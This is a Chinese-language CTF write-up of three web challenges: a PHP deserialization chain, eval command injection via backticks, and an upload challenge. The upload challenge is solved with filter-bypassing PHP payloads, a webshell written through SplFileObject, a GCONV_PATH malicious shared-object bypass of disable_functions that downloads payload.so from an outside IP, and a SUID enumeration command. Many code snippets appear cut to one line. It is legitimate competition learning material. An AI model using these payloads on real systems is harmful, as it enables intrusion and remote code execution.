前言
最近状态好差
ezpop
|
链子
fin::destruct -> what::toString -> mix::run -> crow::invoke -> fin::call -> mix::get_flag |
exp
|
calc
info: hack the calc
说起这道题,比赛完我直接人麻了,意料之外,不蛋bi了…
逻辑很简单,就是接受字符串做 eval 计算,然后log中只有num部分可控,接着执行了系统命令
当然eval肯定是做了过滤了,漏了反引号
那就构造 1+1#`ls` 反弹shell 或者curl外带数据
?num=1+1#`ls` |
upgdstore
info: Can you upload me?
直接上传 <?php phpinfo();?>
可以并且回显文件地址,php8.0.1
disable_function很离谱,究极究极究极多,看来需要bypass,putenv,mail没有被ban
现在就是尝试能不能getshell,show_source没有被ban,上传的时候一直被检测
尝试读文件:
利用php函数大小写不敏感绕过 <?php Show_source('../index.php');?>
动态绕过 <?php base64_decode('c2hvd19zb3VyY2U=')('../index.php');?>
或 <?php echo ('fil'.'e_get_contents')('/var/www/html/index.php');
在PHP中,函数名、方法名、类名、关键字不区分大小写;但变量名、常量名区分大小写。
读取到 index.php
|
就想办法拿shell,学习到两种方法
一、利用 include+php伪协议
上传一句话木马为1.php |
二、内置类SplFileObject::fwrite 写文件
由于过滤了 $,我们无法使用变量,过滤了 - 我们无法调用类的动态方法
由于绝大部分写文件函数都被禁止了,我们考虑使用内置类 SplFileObject::fwrite 进行写文件,写一句话木马
利用继承,重写一个类,把动态方法调用变成静态方法
(学到了学到了)
|
开始bypass disable,利用shell.php
payload.c
#include <stdio.h> |
生成so文件
gcc payload.c -o payload.so -shared -fPIC |
gconv-modules
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2 |
用 SplFileObject
写 payload.so 和 gconv-modules
$url = "http://150.158.181.145:8000/payload.so"; |
触发
putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so"); |
没有权限读取flag
尝试suid提权
find / -user root -perm -4000 -print 2>/dev/null |
补充
还有利用 ftp 进行写操作
python开启ftp服务
from pyftpdlib.authorizers import DummyAuthorizer |
php下载
$local_file = '/tmp/hack1.so'; |